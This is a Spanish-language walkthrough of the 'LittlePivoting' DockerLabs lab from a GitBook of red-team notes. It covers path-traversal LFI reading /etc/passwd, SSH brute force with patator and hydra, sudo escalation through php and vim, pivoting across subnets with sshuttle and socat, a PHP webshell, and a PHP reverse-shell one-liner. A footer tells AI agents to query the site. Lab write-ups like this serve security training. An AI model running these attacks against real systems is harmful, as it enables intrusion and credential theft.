> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/dockerlabs/littlepivoting.md).

# LittlePivoting

Herramientas Utilizadas:  nmap,  whatweb,  gobuster, curl, patator, sshuttle,  socat, nc

Este writeup documenta el proceso de explotación de una máquina en un entorno segmentado,\
donde se requiere pivoting para escalar privilegios y obtener acceso total. Utilizamos técnicas\
como&#x20;sshuttle&#x20;para tunelizar tráfico,&#x20;socat&#x20;para redirigir conexiones y vulnerabilidades en\
sudo&#x20;para la escalada de privilegios.

Desplegar:\
sudo ./auto\_deploy.sh inclusion.tar trust.tar upload.tar

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2F99GZyfqFCUcYFJ9zsGjF%2Fimage.png?alt=media&amp;token=3595f474-0609-4a2a-8a46-a18156b5cb1b" alt=""><figcaption></figcaption></figure>

nmap -p- -vvv -sS --min-rate 5000 -Pn 10.10.10.2 -oG scan

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2Fh1x5pRnb8WB1XMV3xW9E%2Fimage.png?alt=media&amp;token=60c48c0f-e940-44a0-b575-218d251db87a" alt=""><figcaption></figcaption></figure>

nmap -p22,80 -sCV 10.10.10.2 -oN ports

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FPlMMbZWF4jQukzrnLLV3%2Fimage.png?alt=media&amp;token=bd28ec8c-df0c-4501-8baf-4bb4df5a804b" alt=""><figcaption></figcaption></figure>

Encontramos los puertos 22 y 80 abiertos, lo que sugiere la presencia de SSH y un servidor\
web. Luego, profundizamos con&#x20;whatweb&#x20;y&#x20;gobuster

whatweb 10.10.10.2

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FJx4xRfvkA0okl1HKFpZE%2Fimage.png?alt=media&amp;token=4e87b204-521d-45b2-af4d-d8d8b030f9c8" alt=""><figcaption></figcaption></figure>

gobuster dir -u <http://10.10.10.2/> -w /usr/share/seclists/Discovery/Web\
Content/directory-list-2.3-big.tx

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FfgJsSZxT8WrDiwmRNdli%2Fimage.png?alt=media&amp;token=6aebcde9-2c5d-45c5-8a63-aead90d7ca96" alt=""><figcaption></figcaption></figure>

Ingresando a:[ ](< http://10.10.10.2/shop/&#xD;&#xA;>)

{% embed url="<http://10.10.10.2/shop/>" %}

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2F2ikVJYUW9bjWXxptyfD6%2Fimage.png?alt=media&amp;token=c1aa7b3f-a2e0-4b46-9238-58cf2835bc2a" alt=""><figcaption></figcaption></figure>

Este fragmento indica que la aplicación está utilizando el valor del parámetro\
archivoen elcódigo sin una validación o sanitización adecuada. <br>

En PHP,&#x20;$\_GET\['archivo']se usa para&#x20;obtener el valor de una variable pasada en la URL a través del método&#x20;GET. <br>

Si el código PHP usa algo como

include($\_GET\['archivo']); o&#x20;file\_get\_contents($\_GET\['archivo']) <br>

Entonces el valor de&#x20;archivos. se insertará directamente en una operación de inclusión de&#x20;archivos.\
Esto sugiere que podemos manipular este parámetro para forzar la carga de archivos\
arbitrarios, lo que lleva a una vulnerabilidad de Inclusión de Archivos Locales (LFI, Local\
File Inclusion).

Al realizar ffuf con gobuster hacia el directorio /shop, el resultado es la existencia del archivo\
index.ph

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FHEKZttRIlFLCSPzncXAe%2Fimage.png?alt=media&amp;token=90a05c06-7fc7-4f3d-8a9c-b969e7115904" alt=""><figcaption></figcaption></figure>

Si la aplicación permite rutas arbitrarias en&#x20;archivo, podemos intentar escapar del directorio&#x20;de trabajo y acceder a archivos del sistema usando secuencias de "path traversal"  (../)&#x20;

Sabemos que&#x20;index.php&#x20;está esperando un valor para el parámetro "archivo" , por lo que debemos estructurar la URL para enviarle una ruta específica.

Si la aplicación permite rutas arbitrarias en "archivo"  podemos intentar escapar del directorio\
de trabajo y acceder a archivos del sistema usando secuencias de "path traversal"

Al dirigirnos a la url: 10.10.10.2/shop/index.php?archivo=../../../../../../../../../../etc/passwd

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FbtcMoV37hsbNSHbTnV87%2Fimage.png?alt=media&amp;token=a84f1b00-a716-402b-a820-39a412ccd39f" alt=""><figcaption></figcaption></figure>

Se logró acceder y visualizar el contenido del archivo\
/etc/passwd&#x20;confirmando la&#x20;vulnerabilidad de Inclusión de Archivos Locales (LFI) en la aplicación.\
Donde pudimos ver el nombre de 2 usuarios, manchi y seller.

\
Recordando que el primer host objetivo tenia el puerto 22 abierto, asique fui por la vieja\
confiable, fuerza bruta, imagino que haz de conocer **hydra**, pero hoy traigo una alternativa.

Se llama **Patator**, no voy a hablar de ella, pero voy a dejarte la documentación para que la\
investigues, es una buena alternativa y funciona con muchos otros protocolos\
<https://www.kali.org/tools/patator/>

patator ssh\_login host=20.20.20.3 user=mario password=FILE0\
0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'\`\`

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2F0sgOeeejielLhVSC50iV%2Fimage.png?alt=media&amp;token=afe7a9c5-8084-43a1-b24b-f9ea34b86daf" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2Fcr1OrxoMG7V7B6aIAtLu%2Fimage.png?alt=media&amp;token=9c1dbc91-a49d-4550-bbeb-8c7bdb48f3c4" alt=""><figcaption></figcaption></figure>

hydra:\
hydra -l manchi -P /usr/share/wordlists/rockyou.txt -s 22 -f 10.10.10.2 ss

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2Fg4QBzCiCCSC6tHtvpPIN%2Fimage.png?alt=media&amp;token=652fd3b5-6a5b-4096-9d65-90925746fe44" alt=""><figcaption></figcaption></figure>

Haciendo uso de las credenciales, accedemos via Ssh:

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FRtovVBSxQ7Fcs2iDt9Hd%2Fimage.png?alt=media&amp;token=a16581e8-14cc-4196-9681-88340808098a" alt=""><figcaption></figcaption></figure>

Lo primero que pensé fue en ver si manchi tenia permisos para ejecutar sudo y asi escalar\
privilegios, pero no fue así.

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FX1IBmjsdEn628ML22ISH%2Fimage.png?alt=media&amp;token=c1aebef9-dad1-42a6-b8af-425e29900a47" alt=""><figcaption></figcaption></figure>

Queda por intentar acceder a la cuenta de seller.

Busque realizar fuerza bruta desde mi maquina pero con ninguna de las 2 tools logre tener\
exito.

Con un poco de ayuda de chatgpt desarrolle un script para realizar BF de forma local, desde\
manchi hacia el usuario seller

Para eso, transfiero el diccionario rockyou.txt y creo el script en la maquina victima.

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2F1kPJwgXf8ONG892jroQq%2Fimage.png?alt=media&amp;token=f8883a9d-4fd6-499a-8e0c-c77bf79ed435" alt=""><figcaption></figcaption></figure>

Antes que nada, recordar darle permisos de ejecucion al scrip con:\
chmod +x nombredelarchivo.sh\
El archivo rockyou.txt se lo comparti mediante un server levantado con python.

Sintaxis: ./brute-force.sh -u seller -w rockyou.txt&#x20;

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FbjHMgUxWspbayb8Sw5YU%2Fimage.png?alt=media&amp;token=0da8b885-caef-48e7-bb73-ee961870ed20" alt=""><figcaption></figcaption></figure>

Mediante sudo -l veo que con php podría obtener escalación de privilegios.

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FqHiJUNtkEIXexCK51i5e%2Fimage.png?alt=media&amp;token=659903a4-8878-4d21-b89b-26ac13881661" alt=""><figcaption></figcaption></figure>

Mirando en&#x20;GTFOBins

Logro así obtener la primer escalación de privilegios.

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FkQXvqgRgr6XZY3gl7ijR%2Fimage.png?alt=media&amp;token=59a781b7-37de-41ec-b0a1-a8376f99b931" alt=""><figcaption></figcaption></figure>

hostname -I&#x20;reveló que la primera máquina víctima tenía asignada la IP\
20.20.20.2, además de&#x20;10.10.10.2.

Para analizar la conectividad, realicé un&#x20;ping&#x20;a&#x20;20.20.20.3, confirmando que la máquina&#x20;comprometida tenía acceso a otra red interna.

Ahora, la cosa era, como acceder a esa red...

Después de confirmar que la máquina comprometida (10.10.10.2) tiene acceso a la subred\
20.20.20.0/24, podemos utilizar sshuttle para redirigir nuestro tráfico a través de esta\
máquina y así interactuar con la red interna como si estuviéramos directamente conectados a\
ella.

sshuttle -r manchi\@10.10.10.2 20.20.20.0/24 -x 10.10.10.1

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FCEuVSO696zAlF9Emg4CE%2Fimage.png?alt=media&amp;token=4a0a9094-de90-4d86-8599-61da75afbfed" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FnYKrBrKcU8iTwUY4aeNH%2Fimage.png?alt=media&amp;token=e6a4bf7d-7eb0-46ef-bf31-741ddf53dfeb" alt=""><figcaption></figcaption></figure>

Una vez ejecutado este comando, podemos interactuar con la red 20.20.20.0/24&#x20;como siestuviéramos conectados directamente a ella.

Inicialmente, realicé un escaneo con Nmap para detectar puertos abiertos en el host\
20.20.20.3

nmap -Pn -p- 20.20.20.3

Sin embargo, no obtuve ninguna respuesta de los 100 primeros puertos analizados, lo que\
podría indicar la presencia de un firewall o alguna configuración que bloquee los paquetes de\
escaneo.

Dado que&#x20;Nmap&#x20;no mostró puertos abiertos, intenté verificar manualmente si había servicios en\
ejecución mediante curl:

curl -I <http://20.20.20.3>

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FZfX8JjeY15TYeCAfa1Wf%2Fimage.png?alt=media&amp;token=9fb3ed3e-5c66-4e8e-829a-3983c6e44c6e" alt=""><figcaption></figcaption></figure>

El resultado arrojó un código de estado HTTP 200 (OK), lo que confirma que hay un servidor\
web activo en el host&#x20;20.20.20.3, probablemente en el puerto 80

El encabezado de la respuesta indica que el servidor es Apache/2.4.57 en Debian, lo que\
sugiere un posible vector de explotación en caso de vulnerabilidades conocidas

Después de identificar que el host&#x20;20.20.20.3&#x20;ejecuta un servidor web, procedí a realizar una\
enumeración de directorios y archivos utilizando Gobuster.

Inicialmente, ejecuté el siguiente comando para buscar directorios accesibles:

gobuster dir -u <http://20.20.20.3> -w /usr/share/wordlists/dirbuster/directory\
list-2.3-medium.txt -t 50 -o gobuster.txt

/server-status (Status: 403) \[Size: 275]

Dado que no encontré directorios significativos, intenté una nueva búsqueda incluyendo\
extensiones de archivos comunes (php,&#x20;txt&#x20;y&#x20;py)

gobuster dir -u <http://20.20.20.3> -w /usr/share/wordlists/dirbuster/directory\
list-2.3-medium.txt -t 50 -o gobuster.txt -x php,txt,py

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FoKqLqY5yU8XA0u1W5otH%2Fimage.png?alt=media&amp;token=4117200e-5a6c-460c-a93b-20d9f90ea9fb" alt=""><figcaption></figcaption></figure>

Accediendo a&#x20;/secret.php se logra ver un cartel dirigido a un usuario llamado  "mario"

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FcYnqdQoxxzh9dfB57QAb%2Fimage.png?alt=media&amp;token=7f70a63c-2df4-4ac5-bedf-76ffdeabdc31" alt=""><figcaption></figcaption></figure>

Con el cual prosegui a intentar realizar fuerza bruta, una vez mas, si.

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FIJsE6XLhgOz25KCjE89I%2Fimage.png?alt=media&amp;token=6188bcee-dac8-481f-baf5-3843175ef213" alt=""><figcaption></figcaption></figure>

Logrando así obtener la contraseña de ese tal mario, merecido el ser hackeado.

Gracias al ataque de fuerza bruta realizado con Patator, obtuvimos credenciales válidas para\
el usuario mario en el sistema&#x20;20.20.20.3.

Además, la tunelización con sshuttle nos permitió enrutar nuestro tráfico hacia la red\
20.20.20.0/24, dándonos acceso al servicio SSH expuesto en el puerto por defecto

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2F0DVKVbPsQ8IRVDJylnuC%2Fimage.png?alt=media&amp;token=eb8f826b-d640-490b-bfc9-43fd13fec76d" alt=""><figcaption></figcaption></figure>

En esta ocasion tenemos permisos de ejecucion con vim:

Del mismo modo que con php, verifique en GTFobins

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FeZpBB0ZNqiLb29kEkYwd%2Fimage.png?alt=media&amp;token=224aaf9d-ab82-4d1c-aad2-d472f3a9920f" alt=""><figcaption></figcaption></figure>

Tras comprometer exitosamente la máquina&#x20;20.20.20.3, logramos escalar privilegios hasta&#x20;obtener acceso root, lo que nos permitió explorar su configuración de red y posibles&#x20;conexiones con otras subredes

En esta ocasion, hostname -I, nos dice que la nueva victima, es la ip 30.30.30.2, lo que nos indicó la presencia de una nueva subred:&#x20;30.30.30.0/24.

Para comprobar si había algún servicio activo en la nueva red, intentamos un ping, nmap y\
luego un curl al posible objetivo&#x20;30.30.30.3 (desde el acceso ssh de la maquina 20.20.20.3)

curl -I <http://30.30.30.3>

El servidor respondió con un HTTP 200 OK, confirmando la presencia de un servicio web en el\
puerto 80

Redirigiendo el tráfico con sshuttle

Como nuestra máquina atacante no tenía acceso directo a la red\
sshuttle para tunelizar el tráfico a través de&#x20;20.20.20.3:&#x20;

**sshuttle -r mario\@20.20.20.3 30.30.30.0/24 --dns  #(Desde maquina atacante)**

**-r&#x20;mario\@20.20.20.3** → Se conecta a 20.20.20.3 como el usuario mario.\
**30.30.30.0/24** **→** Red que queremos enrutar a través del túnel.

**--dns →** Permite que las consultas DNS también pasen por el túnel, útil en caso de nombres\
internos.

Una vez establecida la tunelización, pudimos interactuar con 30.30.30.3 directamente desde\
nuestra máquina atacante, permitiéndonos continuar con la exploración y explotación de esta\
nueva máquina objetivo

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FFfoiwFy6cnqETyuU0csz%2Fimage.png?alt=media&amp;token=fcb4fca3-959b-4e78-8fd4-4b3f39770b84" alt=""><figcaption></figcaption></figure>

Ya podemos ver y confirmar la web que nos devolvio el codigo 200 ok, desde nuestra maquina atacante, la 10.10.10.1

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FvdTD2WJEhjUxeu1l7zJP%2Fimage.png?alt=media&amp;token=e7d17a20-72b8-4a7a-910f-8254a9848d1f" alt=""><figcaption></figcaption></figure>

Lo cual aproveche para subir una webshell que me permitiera ejecutar comandos&#x20;en el servidor, navegar por los directorios y explorar posibles vectores de escalación de&#x20;privilegios.

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FNj429i1RgApIoczuuXEs%2Fimage.png?alt=media&amp;token=d8d4c380-9ab1-4af1-8e5c-3cdcc01aaddb" alt=""><figcaption></figcaption></figure>

Con acceso a&#x20;30.30.30.3&#x20;mediante una webshell en PHP, necesitamos reenviar una reverse\
shell a&#x20;10.10.10.1&#x20;. Dado que las redes están segmentadas, configuramos túneles con&#x20;socat

Desde nuestra máquina atacante (10.10.10.1), copiamos el binario de&#x20;socat&#x20;a&#x20;10.10.10.2,&#x20;donde tenemos acceso SSH con el usuario&#x20;manchi

scp /socat&#x20;manchi\@10.10.10.2:/home/manchi/socat

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2Fk1A1PCNycnhRax0wSAZ0%2Fimage.png?alt=media&amp;token=7ea60b7c-7309-41ee-b150-ae577b71d5a5" alt=""><figcaption></figcaption></figure>

20.20.20.3 - 30.30.30.2 Despues a la segunda maquina que usaremos de pivoting

Desde&#x20;10.10.10.2, realizamos la transferencia a&#x20;20.20.20.3, donde tenemos acceso con el&#x20;usuario&#x20;mario

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FRoTMi6rO0ayzoMzRygFW%2Fimage.png?alt=media&amp;token=d782d7ce-1813-4d11-87b5-66738060cd10" alt=""><figcaption></figcaption></figure>

php -r '$sock=fsockopen("30.30.30.2",4431); if($sock){ exec("/bin/sh -i <&3 &3 2>&3"); } else { echo "No connection"; }'

Esto permite que la reverse shell viaje hasta&#x20;10.10.10.1.

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2F1VgS6gLgmKINRYhttUu9%2Fimage.png?alt=media&amp;token=7c3a0352-666f-479a-9e66-803ae9e9864e" alt=""><figcaption></figcaption></figure>

Escalada de Privilegios

Verificamos permisos con&#x20;sudo -l&#x20;y encontramos que&#x20;/usr/bin/env&#x20;sin contraseña:&#x20;www-data&#x20;puede ejecuta

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FYMrsGvZ6wmsFSWy0VQsB%2Fimage.png?alt=media&amp;token=993eed26-8596-4a92-ac06-899fea65fbee" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oliver-3.gitbook.io/redteam-notes/dockerlabs/littlepivoting.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
